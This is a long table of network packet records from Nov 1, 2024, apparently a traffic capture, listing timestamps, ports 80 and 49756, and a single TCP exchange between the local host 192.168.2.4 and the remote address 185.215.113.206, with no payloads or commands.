Nov 1, 2024 03:45:33.341033936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.341046095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.341075897 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.341126919 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.342602015 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.342726946 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.342752934 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.342765093 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.342823982 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.342932940 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.342991114 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.415895939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.415908098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.415919065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.415980101 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.415980101 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416100979 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416112900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416124105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416168928 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416168928 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416193008 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416204929 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416239023 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416265011 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416292906 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416292906 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416310072 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416332006 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416343927 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416353941 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416376114 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416399002 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416469097 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416481018 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416492939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416523933 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416524887 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416560888 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416560888 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416577101 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416620970 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416671991 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416685104 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416693926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416744947 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416744947 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416764975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416776896 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416788101 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416800022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416827917 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416827917 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416872025 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416882992 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.416913986 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.416913986 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.417705059 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.417745113 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.417759895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.417761087 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.417813063 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.417813063 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.417840958 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.417853117 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.417864084 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.417876005 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.417905092 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.417922020 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.417932034 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.417988062 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418040991 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418051958 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418062925 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418106079 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418106079 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418185949 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418196917 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418207884 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418220043 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418231010 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418236971 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418253899 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418277979 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418332100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418343067 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418354034 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418390036 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418425083 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418431044 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418441057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418451071 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418498993 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418498993 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418577909 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418587923 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418598890 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418631077 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418653965 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418735981 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418747902 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418757915 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418771029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418782949 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418792963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418796062 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418804884 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.418811083 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418827057 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418879032 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.418909073 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.419054985 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.419066906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.419075966 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.419075966 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.419087887 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.419097900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.419109106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.419118881 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.419123888 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.419123888 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.419147968 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.419182062 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.419270039 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.419281960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.419291973 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.419303894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.419318914 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.419326067 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.419337034 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.419354916 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.458256960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.458270073 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.458280087 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.458318949 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.458430052 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.459722042 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.459733963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.459745884 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.459763050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.459774017 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.459779978 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.459785938 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.459814072 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.459846973 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533113956 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533123016 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533174038 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533185005 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533190012 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533246994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533250093 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533307076 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533309937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533318043 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533333063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533370018 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533370018 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533399105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533410072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533420086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533438921 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533473969 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533473969 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533499956 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533512115 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533520937 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533535957 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533546925 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533549070 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533576965 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533593893 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533605099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533615112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533642054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533652067 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533665895 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533696890 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533771992 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533832073 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533843040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533859968 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533871889 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533879995 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533879995 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.533884048 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533895969 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533911943 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.533934116 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.534003973 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.534010887 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.534014940 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.534060001 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.534858942 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.534877062 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.534887075 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.534934044 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.534943104 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.534943104 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.534945965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.534980059 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.534981012 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.534990072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.534995079 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535028934 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535054922 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535064936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535120964 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535136938 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535147905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535157919 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535168886 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535197973 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535214901 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535222054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535233974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535254955 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535281897 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535293102 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535307884 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535334110 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535345078 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535346031 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535370111 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535377026 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535382032 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535398960 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535418034 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535438061 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535448074 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535487890 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535499096 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535500050 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535507917 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535533905 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535583019 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535588026 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535598040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535609007 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535620928 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535646915 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535665989 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535675049 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535686016 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535706997 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535721064 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535788059 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535798073 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535809040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535820961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535829067 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535829067 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535832882 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535861969 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535876989 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.535895109 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535952091 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535963058 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.535973072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.536003113 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.536005974 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.536005974 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.536024094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.536045074 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.536061049 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.536103964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.536113977 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.536124945 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.536158085 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.536163092 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.536190987 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.536201954 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.536231041 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.536242008 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.536246061 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.536252975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.536286116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.536297083 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.536324978 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.536338091 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.536343098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.536408901 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.575411081 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.575475931 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.575479031 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.575486898 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.575517893 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.575530052 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.577059031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.577069998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.577080011 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.577111006 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.577140093 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.577141047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.577152014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.577162981 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.577187061 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.577198982 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.577267885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.577276945 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.577313900 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.650620937 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.650633097 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.650644064 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.650655031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.650666952 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.650669098 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.650676966 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.650684118 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.650688887 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.650728941 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.650731087 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.650743008 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.650768995 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.650778055 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.650815964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.650867939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.650878906 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.650908947 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.650933027 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.650944948 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.650979042 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.651169062 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.651180029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.651190996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.651201963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.651201010 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.651218891 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.651218891 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.651228905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.651235104 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.651243925 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.651251078 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.651262999 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.651267052 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.651293039 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.651305914 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:33.651335001 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.651345968 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:33.651356936 CET	80	49756	185.215.113.206	192.168.2.4
